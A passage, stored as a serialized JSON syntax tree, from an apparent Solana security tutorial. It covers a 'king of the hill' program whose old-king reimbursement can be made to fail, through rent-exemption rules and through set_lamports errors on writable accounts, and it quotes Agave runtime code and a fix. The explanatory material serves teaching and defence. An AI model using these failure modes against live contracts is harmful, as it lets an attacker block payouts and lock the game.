",{"type":25,"tag":271,"props":85238,"children":85239},{"style":13603},[85240],{"type":30,"value":1065},{"type":25,"tag":271,"props":85242,"children":85243},{"style":13598},[85244],{"type":30,"value":38953},{"type":25,"tag":271,"props":85246,"children":85247},{"style":13603},[85248],{"type":30,"value":1860},{"type":25,"tag":271,"props":85250,"children":85251},{"style":13625},[85252],{"type":30,"value":27796},{"type":25,"tag":271,"props":85254,"children":85255},{"style":13603},[85256],{"type":30,"value":1860},{"type":25,"tag":271,"props":85258,"children":85259},{"style":13625},[85260],{"type":30,"value":85261},"new_king",{"type":25,"tag":271,"props":85263,"children":85264},{"style":13603},[85265],{"type":30,"value":1860},{"type":25,"tag":271,"props":85267,"children":85268},{"style":13620},[85269],{"type":30,"value":85270},"key",{"type":25,"tag":271,"props":85272,"children":85273},{"style":13625},[85274],{"type":30,"value":16820},{"type":25,"tag":271,"props":85276,"children":85277},{"class":13593,"line":36759},[85278,85282,85286,85290,85294,85298,85302,85306,85310,85315],{"type":25,"tag":271,"props":85279,"children":85280},{"style":13598},[85281],{"type":30,"value":39296},{"type":25,"tag":271,"props":85283,"children":85284},{"style":13603},[85285],{"type":30,"value":1860},{"type":25,"tag":271,"props":85287,"children":85288},{"style":13625},[85289],{"type":30,"value":27796},{"type":25,"tag":271,"props":85291,"children":85292},{"style":13603},[85293],{"type":30,"value":1860},{"type":25,"tag":271,"props":85295,"children":85296},{"style":13625},[85297],{"type":30,"value":84865},{"type":25,"tag":271,"props":85299,"children":85300},{"style":13603},[85301],{"type":30,"value":1860},{"type":25,"tag":271,"props":85303,"children":85304},{"style":13625},[85305],{"type":30,"value":84874},{"type":25,"tag":271,"props":85307,"children":85308},{"style":13603},[85309],{"type":30,"value":1065},{"type":25,"tag":271,"props":85311,"children":85312},{"style":13598},[85313],{"type":30,"value":85314}," bid_amount",{"type":25,"tag":271,"props":85316,"children":85317},{"style":13625},[85318],{"type":30,"value":16165},{"type":25,"tag":271,"props":85320,"children":85321},{"class":13593,"line":36768},[85322,85326,85330,85334,85338,85342,85346,85351,85355,85360,85364,85368,85372,85376,85381,85385,85389],{"type":25,"tag":271,"props":85323,"children":85324},{"style":13598},[85325],{"type":30,"value":39296},{"type":25,"tag":271,"props":85327,"children":85328},{"style":13603},[85329],{"type":30,"value":1860},{"type":25,"tag":271,"props":85331,"children":85332},{"style":13625},[85333],{"type":30,"value":27796},{"type":25,"tag":271,"props":85335,"children":85336},{"style":13603},[85337],{"type":30,"value":1860},{"type":25,"tag":271,"props":85339,"children":85340},{"style":13625},[85341],{"type":30,"value":84865},{"type":25,"tag":271,"props":85343,"children":85344},{"style":13603},[85345],{"type":30,"value":1860},{"type":25,"tag":271,"props":85347,"children":85348},{"style":13625},[85349],{"type":30,"value":85350},"last_time ",{"type":25,"tag":271,"props":85352,"children":85353},{"style":13603},[85354],{"type":30,"value":1065},{"type":25,"tag":271,"props":85356,"children":85357},{"style":13609},[85358],{"type":30,"value":85359}," Clock",{"type":25,"tag":271,"props":85361,"children":85362},{"style":13603},[85363],{"type":30,"value":13617},{"type":25,"tag":271,"props":85365,"children":85366},{"style":13620},[85367],{"type":30,"value":29474},{"type":25,"tag":271,"props":85369,"children":85370},{"style":13625},[85371],{"type":30,"value":27000},{"type":25,"tag":271,"props":85373,"children":85374},{"style":13603},[85375],{"type":30,"value":16273},{"type":25,"tag":271,"props":85377,"children":85378},{"style":13625},[85379],{"type":30,"value":85380},"unix_timestamp ",{"type":25,"tag":271,"props":85382,"children":85383},{"style":14289},[85384],{"type":30,"value":21962},{"type":25,"tag":271,"props":85386,"children":85387},{"style":13609},[85388],{"type":30,"value":18991},{"type":25,"tag":271,"props":85390,"children":85391},{"style":13625},[85392],{"type":30,"value":16165},{"type":25,"tag":271,"props":85394,"children":85395},{"class":13593,"line":36844},[85396],{"type":25,"tag":271,"props":85397,"children":85398},{"emptyLinePlaceholder":18},[85399],{"type":30,"value":16829},{"type":25,"tag":271,"props":85401,"children":85402},{"class":13593,"line":36877},[85403,85407],{"type":25,"tag":271,"props":85404,"children":85405},{"style":13609},[85406],{"type":30,"value":27933},{"type":25,"tag":271,"props":85408,"children":85409},{"style":13625},[85410],{"type":30,"value":27459},{"type":25,"tag":271,"props":85412,"children":85413},{"class":13593,"line":36885},[85414],{"type":25,"tag":271,"props":85415,"children":85416},{"style":13625},[85417],{"type":30,"value":16501},{"type":25,"tag":271,"props":85419,"children":85420},{"class":13593,"line":36893},[85421],{"type":25,"tag":271,"props":85422,"children":85423},{"style":13625},[85424],{"type":30,"value":17058},{"type":25,"tag":26,"props":85426,"children":85427},{},[85428],{"type":30,"value":85429},"Note this comment:",{"type":25,"tag":16074,"props":85431,"children":85432},{},[85433],{"type":25,"tag":26,"props":85434,"children":85435},{},[85436],{"type":30,"value":85437},"any writable account is allowed as a new king.",{"type":25,"tag":26,"props":85439,"children":85440},{},[85441],{"type":30,"value":85442},"...Is our assumption correct?",{"type":25,"tag":96,"props":85444,"children":85446},{"id":85445},"the-bugs-lurking-beneath",[85447],{"type":30,"value":85448},"The Bugs Lurking Beneath",{"type":25,"tag":247,"props":85450,"children":85452},{"id":85451},"bug-1-the-rent-exemption-trap",[85453],{"type":30,"value":85454},"Bug 1: The Rent-Exemption Trap",{"type":25,"tag":26,"props":85456,"children":85457},{},[85458,85460,85465],{"type":30,"value":85459},"On Solana, all accounts must maintain a ",{"type":25,"tag":38,"props":85461,"children":85462},{},[85463],{"type":30,"value":85464},"minimum balance",{"type":30,"value":85466}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":25,"tag":108,"props":85468,"children":85469},{},[85470,85485],{"type":25,"tag":112,"props":85471,"children":85472},{},[85473,85478,85479],{"type":25,"tag":38,"props":85474,"children":85475},{},[85476],{"type":30,"value":85477},"Uninitialized",{"type":30,"value":28453},{"type":25,"tag":264,"props":85480,"children":85482},{"className":85481},[],[85483],{"type":30,"value":85484},"lamports = 0",{"type":25,"tag":112,"props":85486,"children":85487},{},[85488,85493,85494],{"type":25,"tag":38,"props":85489,"children":85490},{},[85491],{"type":30,"value":85492},"Initialized",{"type":30,"value":28453},{"type":25,"tag":264,"props":85495,"children":85497},{"className":85496},[],[85498],{"type":30,"value":85499},"lamports >= rent-exempt threshold",{"type":25,"tag":26,"props":85501,"children":85502},{},[85503,85505,85510],{"type":30,"value":85504},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":25,"tag":38,"props":85506,"children":85507},{},[85508],{"type":30,"value":85509},"account metadata",{"type":30,"value":85511}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":25,"tag":26,"props":85513,"children":85514},{},[85515,85517,85523],{"type":30,"value":85516},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":25,"tag":264,"props":85518,"children":85520},{"className":85519},[],[85521],{"type":30,"value":85522},"data.len() == 0",{"type":30,"value":85524}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":25,"tag":26,"props":85526,"children":85527},{},[85528,85530,85536],{"type":30,"value":85529},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":25,"tag":83,"props":85531,"children":85534},{"href":85532,"rel":85533},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[9066],[85535],{"type":30,"value":60700},{"type":30,"value":1860},{"type":25,"tag":7764,"props":85538,"children":85540},{"className":13586,"code":85539,"language":13585,"meta":7,"style":7},"    fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n        match post_rent_state {\n            RentState::Uninitialized | RentState::RentExempt => true,\n            RentState::RentPaying {\n                data_size: post_data_size,\n                lamports: post_lamports,\n            } => {\n                match pre_rent_state {\n                    RentState::Uninitialized | RentState::RentExempt => false,\n                    RentState::RentPaying {\n                        data_size: pre_data_size,\n                        lamports: pre_lamports,\n                    } => {\n                        // Cannot remain RentPaying if resized or credited.\n                        post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n                    }\n                }\n            }\n        }\n    }\n",[85541],{"type":25,"tag":264,"props":85542,"children":85543},{"__ignoreMap":7},[85544,85628,85645,85691,85711,85732,85753,85768,85785,85829,85848,85869,85890,85906,85914,85947,85954,85961,85968,85975],{"type":25,"tag":271,"props":85545,"children":85546},{"class":13593,"line":13594},[85547,85552,85557,85561,85565,85569,85573,85578,85582,85586,85591,85595,85600,85604,85608,85612,85616,85620,85624],{"type":25,"tag":271,"props":85548,"children":85549},{"style":14289},[85550],{"type":30,"value":85551},"    fn",{"type":25,"tag":271,"props":85553,"children":85554},{"style":13620},[85555],{"type":30,"value":85556}," transition_allowed",{"type":25,"tag":271,"props":85558,"children":85559},{"style":13625},[85560],{"type":30,"value":394},{"type":25,"tag":271,"props":85562,"children":85563},{"style":13603},[85564],{"type":30,"value":13632},{"type":25,"tag":271,"props":85566,"children":85567},{"style":14289},[85568],{"type":30,"value":26836},{"type":25,"tag":271,"props":85570,"children":85571},{"style":13625},[85572],{"type":30,"value":44},{"type":25,"tag":271,"props":85574,"children":85575},{"style":13598},[85576],{"type":30,"value":85577},"pre_rent_state",{"type":25,"tag":271,"props":85579,"children":85580},{"style":13603},[85581],{"type":30,"value":359},{"type":25,"tag":271,"props":85583,"children":85584},{"style":13603},[85585],{"type":30,"value":14341},{"type":25,"tag":271,"props":85587,"children":85588},{"style":13609},[85589],{"type":30,"value":85590},"RentState",{"type":25,"tag":271,"props":85592,"children":85593},{"style":13625},[85594],{"type":30,"value":44},{"type":25,"tag":271,"props":85596,"children":85597},{"style":13598},[85598],{"type":30,"value":85599},"post_rent_state",{"type":25,"tag":271,"props":85601,"children":85602},{"style":13603},[85603],{"type":30,"value":359},{"type":25,"tag":271,"props":85605,"children":85606},{"style":13603},[85607],{"type":30,"value":14341},{"type":25,"tag":271,"props":85609,"children":85610},{"style":13609},[85611],{"type":30,"value":85590},{"type":25,"tag":271,"props":85613,"children":85614},{"style":13625},[85615],{"type":30,"value":14406},{"type":25,"tag":271,"props":85617,"children":85618},{"style":13603},[85619],{"type":30,"value":14411},{"type":25,"tag":271,"props":85621,"children":85622},{"style":13609},[85623],{"type":30,"value":25175},{"type":25,"tag":271,"props":85625,"children":85626},{"style":13625},[85627],{"type":30,"value":16431},{"type":25,"tag":271,"props":85629,"children":85630},{"class":13593,"line":11641},[85631,85636,85641],{"type":25,"tag":271,"props":85632,"children":85633},{"style":16171},[85634],{"type":30,"value":85635},"        match",{"type":25,"tag":271,"props":85637,"children":85638},{"style":13598},[85639],{"type":30,"value":85640}," post_rent_state",{"type":25,"tag":271,"props":85642,"children":85643},{"style":13625},[85644],{"type":30,"value":16431},{"type":25,"tag":271,"props":85646,"children":85647},{"class":13593,"line":14354},[85648,85653,85657,85661,85665,85670,85674,85679,85683,85687],{"type":25,"tag":271,"props":85649,"children":85650},{"style":13609},[85651],{"type":30,"value":85652},"            RentState",{"type":25,"tag":271,"props":85654,"children":85655},{"style":13603},[85656],{"type":30,"value":13617},{"type":25,"tag":271,"props":85658,"children":85659},{"style":13609},[85660],{"type":30,"value":85477},{"type":25,"tag":271,"props":85662,"children":85663},{"style":13603},[85664],{"type":30,"value":17401},{"type":25,"tag":271,"props":85666,"children":85667},{"style":13609},[85668],{"type":30,"value":85669}," RentState",{"type":25,"tag":271,"props":85671,"children":85672},{"style":13603},[85673],{"type":30,"value":13617},{"type":25,"tag":271,"props":85675,"children":85676},{"style":13609},[85677],{"type":30,"value":85678},"RentExempt",{"type":25,"tag":271,"props":85680,"children":85681},{"style":13603},[85682],{"type":30,"value":40863},{"type":25,"tag":271,"props":85684,"children":85685},{"style":14289},[85686],{"type":30,"value":25594},{"type":25,"tag":271,"props":85688,"children":85689},{"style":13625},[85690],{"type":30,"value":14351},{"type":25,"tag":271,"props":85692,"children":85693},{"class":13593,"line":14391},[85694,85698,85702,85707],{"type":25,"tag":271,"props":85695,"children":85696},{"style":13609},[85697],{"type":30,"value":85652},{"type":25,"tag":271,"props":85699,"children":85700},{"style":13603},[85701],{"type":30,"value":13617},{"type":25,"tag":271,"props":85703,"children":85704},{"style":13609},[85705],{"type":30,"value":85706},"RentPaying",{"type":25,"tag":271,"props":85708,"children":85709},{"style":13625},[85710],{"type":30,"value":16431},{"type":25,"tag":271,"props":85712,"children":85713},{"class":13593,"line":14400},[85714,85719,85723,85728],{"type":25,"tag":271,"props":85715,"children":85716},{"style":13598},[85717],{"type":30,"value":85718},"                data_size",{"type":25,"tag":271,"props":85720,"children":85721},{"style":13603},[85722],{"type":30,"value":359},{"type":25,"tag":271,"props":85724,"children":85725},{"style":13598},[85726],{"type":30,"value":85727}," post_data_size",{"type":25,"tag":271,"props":85729,"children":85730},{"style":13625},[85731],{"type":30,"value":14351},{"type":25,"tag":271,"props":85733,"children":85734},{"class":13593,"line":16406},[85735,85740,85744,85749],{"type":25,"tag":271,"props":85736,"children":85737},{"style":13598},[85738],{"type":30,"value":85739},"                lamports",{"type":25,"tag":271,"props":85741,"children":85742},{"style":13603},[85743],{"type":30,"value":359},{"type":25,"tag":271,"props":85745,"children":85746},{"style":13598},[85747],{"type":30,"value":85748}," post_lamports",{"type":25,"tag":271,"props":85750,"children":85751},{"style":13625},[85752],{"type":30,"value":14351},{"type":25,"tag":271,"props":85754,"children":85755},{"class":13593,"line":16434},[85756,85760,85764],{"type":25,"tag":271,"props":85757,"children":85758},{"style":13625},[85759],{"type":30,"value":83708},{"type":25,"tag":271,"props":85761,"children":85762},{"style":13603},[85763],{"type":30,"value":27943},{"type":25,"tag":271,"props":85765,"children":85766},{"style":13625},[85767],{"type":30,"value":16431},{"type":25,"tag":271,"props":85769,"children":85770},{"class":13593,"line":16447},[85771,85776,85781],{"type":25,"tag":271,"props":85772,"children":85773},{"style":16171},[85774],{"type":30,"value":85775},"                match",{"type":25,"tag":271,"props":85777,"children":85778},{"style":13598},[85779],{"type":30,"value":85780}," pre_rent_state",{"type":25,"tag":271,"props":85782,"children":85783},{"style":13625},[85784],{"type":30,"value":16431},{"type":25,"tag":271,"props":85786,"children":85787},{"class":13593,"line":16465},[85788,85793,85797,85801,85805,85809,85813,85817,85821,85825],{"type":25,"tag":271,"props":85789,"children":85790},{"style":13609},[85791],{"type":30,"value":85792},"                    RentState",{"type":25,"tag":271,"props":85794,"children":85795},{"style":13603},[85796],{"type":30,"value":13617},{"type":25,"tag":271,"props":85798,"children":85799},{"style":13609},[85800],{"type":30,"value":85477},{"type":25,"tag":271,"props":85802,"children":85803},{"style":13603},[85804],{"type":30,"value":17401},{"type":25,"tag":271,"props":85806,"children":85807},{"style":13609},[85808],{"type":30,"value":85669},{"type":25,"tag":271,"props":85810,"children":85811},{"style":13603},[85812],{"type":30,"value":13617},{"type":25,"tag":271,"props":85814,"children":85815},{"style":13609},[85816],{"type":30,"value":85678},{"type":25,"tag":271,"props":85818,"children":85819},{"style":13603},[85820],{"type":30,"value":40863},{"type":25,"tag":271,"props":85822,"children":85823},{"style":14289},[85824],{"type":30,"value":22179},{"type":25,"tag":271,"props":85826,"children":85827},{"style":13625},[85828],{"type":30,"value":14351},{"type":25,"tag":271,"props":85830,"children":85831},{"class":13593,"line":16486},[85832,85836,85840,85844],{"type":25,"tag":271,"props":85833,"children":85834},{"style":13609},[85835],{"type":30,"value":85792},{"type":25,"tag":271,"props":85837,"children":85838},{"style":13603},[85839],{"type":30,"value":13617},{"type":25,"tag":271,"props":85841,"children":85842},{"style":13609},[85843],{"type":30,"value":85706},{"type":25,"tag":271,"props":85845,"children":85846},{"style":13625},[85847],{"type":30,"value":16431},{"type":25,"tag":271,"props":85849,"children":85850},{"class":13593,"line":16495},[85851,85856,85860,85865],{"type":25,"tag":271,"props":85852,"children":85853},{"style":13598},[85854],{"type":30,"value":85855},"                        data_size",{"type":25,"tag":271,"props":85857,"children":85858},{"style":13603},[85859],{"type":30,"value":359},{"type":25,"tag":271,"props":85861,"children":85862},{"style":13598},[85863],{"type":30,"value":85864}," pre_data_size",{"type":25,"tag":271,"props":85866,"children":85867},{"style":13625},[85868],{"type":30,"value":14351},{"type":25,"tag":271,"props":85870,"children":85871},{"class":13593,"line":16744},[85872,85877,85881,85886],{"type":25,"tag":271,"props":85873,"children":85874},{"style":13598},[85875],{"type":30,"value":85876},"                        lamports",{"type":25,"tag":271,"props":85878,"children":85879},{"style":13603},[85880],{"type":30,"value":359},{"type":25,"tag":271,"props":85882,"children":85883},{"style":13598},[85884],{"type":30,"value":85885}," pre_lamports",{"type":25,"tag":271,"props":85887,"children":85888},{"style":13625},[85889],{"type":30,"value":14351},{"type":25,"tag":271,"props":85891,"children":85892},{"class":13593,"line":16761},[85893,85898,85902],{"type":25,"tag":271,"props":85894,"children":85895},{"style":13625},[85896],{"type":30,"value":85897},"                    } ",{"type":25,"tag":271,"props":85899,"children":85900},{"style":13603},[85901],{"type":30,"value":27943},{"type":25,"tag":271,"props":85903,"children":85904},{"style":13625},[85905],{"type":30,"value":16431},{"type":25,"tag":271,"props":85907,"children":85908},{"class":13593,"line":16778},[85909],{"type":25,"tag":271,"props":85910,"children":85911},{"style":14385},[85912],{"type":30,"value":85913},"                        // Cannot remain RentPaying if resized or credited.\n",{"type":25,"tag":271,"props":85915,"children":85916},{"class":13593,"line":16791},[85917,85922,85926,85930,85934,85938,85942],{"type":25,"tag":271,"props":85918,"children":85919},{"style":13598},[85920],{"type":30,"value":85921},"                        post_data_size",{"type":25,"tag":271,"props":85923,"children":85924},{"style":13603},[85925],{"type":30,"value":16422},{"type":25,"tag":271,"props":85927,"children":85928},{"style":13598},[85929],{"type":30,"value":85864},{"type":25,"tag":271,"props":85931,"children":85932},{"style":13603},[85933],{"type":30,"value":27306},{"type":25,"tag":271,"props":85935,"children":85936},{"style":13598},[85937],{"type":30,"value":85748},{"type":25,"tag":271,"props":85939,"children":85940},{"style":13603},[85941],{"type":30,"value":21318},{"type":25,"tag":271,"props":85943,"children":85944},{"style":13598},[85945],{"type":30,"value":85946}," pre_lamports\n",{"type":25,"tag":271,"props":85948,"children":85949},{"class":13593,"line":16800},[85950],{"type":25,"tag":271,"props":85951,"children":85952},{"style":13625},[85953],{"type":30,"value":84177},{"type":25,"tag":271,"props":85955,"children":85956},{"class":13593,"line":16823},[85957],{"type":25,"tag":271,"props":85958,"children":85959},{"style":13625},[85960],{"type":30,"value":84185},{"type":25,"tag":271,"props":85962,"children":85963},{"class":13593,"line":16832},[85964],{"type":25,"tag":271,"props":85965,"children":85966},{"style":13625},[85967],{"type":30,"value":72000},{"type":25,"tag":271,"props":85969,"children":85970},{"class":13593,"line":16841},[85971],{"type":25,"tag":271,"props":85972,"children":85973},{"style":13625},[85974],{"type":30,"value":16492},{"type":25,"tag":271,"props":85976,"children":85977},{"class":13593,"line":16907},[85978],{"type":25,"tag":271,"props":85979,"children":85980},{"style":13625},[85981],{"type":30,"value":16501},{"type":25,"tag":26,"props":85983,"children":85984},{},[85985],{"type":30,"value":85986},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":25,"tag":7764,"props":85988,"children":85990},{"className":17374,"code":85989,"language":17373,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[85991],{"type":25,"tag":264,"props":85992,"children":85993},{"__ignoreMap":7},[85994,86010],{"type":25,"tag":271,"props":85995,"children":85996},{"class":13593,"line":13594},[85997,86001,86006],{"type":25,"tag":271,"props":85998,"children":85999},{"style":13620},[86000],{"type":30,"value":16021},{"type":25,"tag":271,"props":86002,"children":86003},{"style":17388},[86004],{"type":30,"value":86005}," rent",{"type":25,"tag":271,"props":86007,"children":86008},{"style":16187},[86009],{"type":30,"value":37388},{"type":25,"tag":271,"props":86011,"children":86012},{"class":13593,"line":11641},[86013,86018,86023,86028],{"type":25,"tag":271,"props":86014,"children":86015},{"style":13620},[86016],{"type":30,"value":86017},"Rent-exempt",{"type":25,"tag":271,"props":86019,"children":86020},{"style":17388},[86021],{"type":30,"value":86022}," minimum:",{"type":25,"tag":271,"props":86024,"children":86025},{"style":16187},[86026],{"type":30,"value":86027}," 0.00089088",{"type":25,"tag":271,"props":86029,"children":86030},{"style":17388},[86031],{"type":30,"value":86032}," SOL\n",{"type":25,"tag":2352,"props":86034,"children":86036},{"id":86035},"fix-1-only-reimburse-if-rent-exempt",[86037],{"type":30,"value":86038},"Fix 1: Only Reimburse if Rent-Exempt",{"type":25,"tag":26,"props":86040,"children":86041},{},[86042],{"type":30,"value":86043},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":25,"tag":7764,"props":86045,"children":86047},{"className":53471,"code":86046,"language":53473,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n    transfer_from_pda(\n        &ctx.accounts.throne.to_account_info(),\n        &ctx.accounts.old_king,\n        to_reimburse,\n    )?;\n+}\n",[86048],{"type":25,"tag":264,"props":86049,"children":86050},{"__ignoreMap":7},[86051,86059,86067,86075,86083,86091,86099,86107,86115,86123],{"type":25,"tag":271,"props":86052,"children":86053},{"class":13593,"line":13594},[86054],{"type":25,"tag":271,"props":86055,"children":86056},{"style":13625},[86057],{"type":30,"value":86058},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":25,"tag":271,"props":86060,"children":86061},{"class":13593,"line":11641},[86062],{"type":25,"tag":271,"props":86063,"children":86064},{"style":16187},[86065],{"type":30,"value":86066},"+let rent = Rent::get()?;\n",{"type":25,"tag":271,"props":86068,"children":86069},{"class":13593,"line":14354},[86070],{"type":25,"tag":271,"props":86071,"children":86072},{"style":16187},[86073],{"type":30,"value":86074},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":25,"tag":271,"props":86076,"children":86077},{"class":13593,"line":14391},[86078],{"type":25,"tag":271,"props":86079,"children":86080},{"style":16187},[86081],{"type":30,"value":86082},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":25,"tag":271,"props":86084,"children":86085},{"class":13593,"line":14400},[86086],{"type":25,"tag":271,"props":86087,"children":86088},{"style":13625},[86089],{"type":30,"value":86090},"    transfer_from_pda(\n",{"type":25,"tag":271,"props":86092,"children":86093},{"class":13593,"line":16406},[86094],{"type":25,"tag":271,"props":86095,"children":86096},{"style":13625},[86097],{"type":30,"value":86098},"        &ctx.accounts.throne.to_account_info(),\n",{"type":25,"tag":271,"props":86100,"children":86101},{"class":13593,"line":16434},[86102],{"type":25,"tag":271,"props":86103,"children":86104},{"style":13625},[86105],{"type":30,"value":86106},"        &ctx.accounts.old_king,\n",{"type":25,"tag":271,"props":86108,"children":86109},{"class":13593,"line":16447},[86110],{"type":25,"tag":271,"props":86111,"children":86112},{"style":13625},[86113],{"type":30,"value":86114},"        to_reimburse,\n",{"type":25,"tag":271,"props":86116,"children":86117},{"class":13593,"line":16465},[86118],{"type":25,"tag":271,"props":86119,"children":86120},{"style":13625},[86121],{"type":30,"value":86122},"    )?;\n",{"type":25,"tag":271,"props":86124,"children":86125},{"class":13593,"line":16486},[86126],{"type":25,"tag":271,"props":86127,"children":86128},{"style":16187},[86129],{"type":30,"value":86130},"+}\n",{"type":25,"tag":26,"props":86132,"children":86133},{},[86134],{"type":30,"value":86135},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":25,"tag":247,"props":86137,"children":86139},{"id":86138},"bug-2-writable-but-untouchable-set_lamports-fails",[86140,86142,86148],{"type":30,"value":86141},"Bug 2: Writable but Untouchable — ",{"type":25,"tag":264,"props":86143,"children":86145},{"className":86144},[],[86146],{"type":30,"value":86147},"set_lamports",{"type":30,"value":86149}," Fails",{"type":25,"tag":26,"props":86151,"children":86152},{},[86153,86155,86162],{"type":30,"value":86154},"Let's look at ",{"type":25,"tag":83,"props":86156,"children":86159},{"href":86157,"rel":86158},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[9066],[86160],{"type":30,"value":86161},"BorrowedAccount::set_lamports",{"type":30,"value":1860},{"type":25,"tag":7764,"props":86164,"children":86166},{"className":13586,"code":86165,"language":13585,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n    // An account not owned by the program cannot have its balance decrease\n    if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n        return Err(InstructionError::ExternalAccountLamportSpend);\n    }\n    // The balance of read-only may not change\n    if !self.is_writable() {\n        return Err(InstructionError::ReadonlyLamportChange);\n    }\n    // The balance of executable accounts may not change\n    if self.is_executable_internal() {\n        return Err(InstructionError::ExecutableLamportChange);\n    }\n    // don't touch the account if the lamports do not change\n    if self.get_lamports() == lamports {\n        return Ok(());\n    }\n    self.touch()?;\n    self.account.set_lamports(lamports);\n    Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n    !self\n        .transaction_context\n        .remove_accounts_executable_flag_checks\n        && self.account.executable()\n}\n\n",[86167],{"type":25,"tag":264,"props":86168,"children":86169},{"__ignoreMap":7},[86170,86178,86199,86271,86279,86338,86370,86377,86385,86413,86445,86452,86460,86484,86516,86523,86531,86566,86582,86589,86617,86652,86663,86670,86677,86685,86704,86712,86752,86764,86776,86788,86819],{"type":25,"tag":271,"props":86171,"children":86172},{"class":13593,"line":13594},[86173],{"type":25,"tag":271,"props":86174,"children":86175},{"style":14385},[86176],{"type":30,"value":86177},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":25,"tag":271,"props":86179,"children":86180},{"class":13593,"line":11641},[86181,86186,86190,86195],{"type":25,"tag":271,"props":86182,"children":86183},{"style":13625},[86184],{"type":30,"value":86185},"#[cfg(not(target_os ",{"type":25,"tag":271,"props":86187,"children":86188},{"style":13603},[86189],{"type":30,"value":1065},{"type":25,"tag":271,"props":86191,"children":86192},{"style":17388},[86193],{"type":30,"value":86194}," \"solana\"",{"type":25,"tag":271,"props":86196,"children":86197},{"style":13625},[86198],{"type":30,"value":33729},{"type":25,"tag":271,"props":86200,"children":86201},{"class":13593,"line":14354},[86202,86206,86210,86215,86219,86223,86227,86231,86235,86239,86243,86247,86251,86255,86259,86263,86267],{"type":25,"tag":271,"props":86203,"children":86204},{"style":14289},[86205],{"type":30,"value":14292},{"type":25,"tag":271,"props":86207,"children":86208},{"style":14289},[86209],{"type":30,"value":14297},{"type":25,"tag":271,"props":86211,"children":86212},{"style":13620},[86213],{"type":30,"value":86214}," set_lamports",{"type":25,"tag":271,"props":86216,"children":86217},{"style":13625},[86218],{"type":30,"value":394},{"type":25,"tag":271,"props":86220,"children":86221},{"style":13603},[86222],{"type":30,"value":13632},{"type":25,"tag":271,"props":86224,"children":86225},{"style":14289},[86226],{"type":30,"value":16877},{"type":25,"tag":271,"props":86228,"children":86229},{"style":14289},[86230],{"type":30,"value":26918},{"type":25,"tag":271,"props":86232,"children":86233},{"style":13625},[86234],{"type":30,"value":44},{"type":25,"tag":271,"props":86236,"children":86237},{"style":13598},[86238],{"type":30,"value":28633},{"type":25,"tag":271,"props":86240,"children":86241},{"style":13603},[86242],{"type":30,"value":359},{"type":25,"tag":271,"props":86244,"children":86245},{"style":13609},[86246],{"type":30,"value":18991},{"type":25,"tag":271,"props":86248,"children":86249},{"style":13625},[86250],{"type":30,"value":14406},{"type":25,"tag":271,"props":86252,"children":86253},{"style":13603},[86254],{"type":30,"value":14411},{"type":25,"tag":271,"props":86256,"children":86257},{"style":13609},[86258],{"type":30,"value":14416},{"type":25,"tag":271,"props":86260,"children":86261},{"style":13625},[86262],{"type":30,"value":26888},{"type":25,"tag":271,"props":86264,"children":86265},{"style":13609},[86266],{"type":30,"value":28880},{"type":25,"tag":271,"props":86268,"children":86269},{"style":13625},[86270],{"type":30,"value":20404},{"type":25,"tag":271,"props":86272,"children":86273},{"class":13593,"line":14391},[86274],{"type":25,"tag":271,"props":86275,"children":86276},{"style":14385},[86277],{"type":30,"value":86278},"    // An account not owned by the program cannot have its balance decrease\n",{"type":25,"tag":271,"props":86280,"children":86281},{"class":13593,"line":14400},[86282,86286,86290,86294,86298,86303,86307,86312,86317,86321,86325,86329,86334],{"type":25,"tag":271,"props":86283,"children":86284},{"style":16171},[86285],{"type":30,"value":25404},{"type":25,"tag":271,"props":86287,"children":86288},{"style":13603},[86289],{"type":30,"value":25989},{"type":25,"tag":271,"props":86291,"children":86292},{"style":14289},[86293],{"type":30,"value":26836},{"type":25,"tag":271,"props":86295,"children":86296},{"style":13603},[86297],{"type":30,"value":1860},{"type":25,"tag":271,"props":86299,"children":86300},{"style":13620},[86301],{"type":30,"value":86302},"is_owned_by_current_program",{"type":25,"tag":271,"props":86304,"children":86305},{"style":13625},[86306],{"type":30,"value":27164},{"type":25,"tag":271,"props":86308,"children":86309},{"style":13603},[86310],{"type":30,"value":86311},"&&",{"type":25,"tag":271,"props":86313,"children":86314},{"style":13598},[86315],{"type":30,"value":86316}," 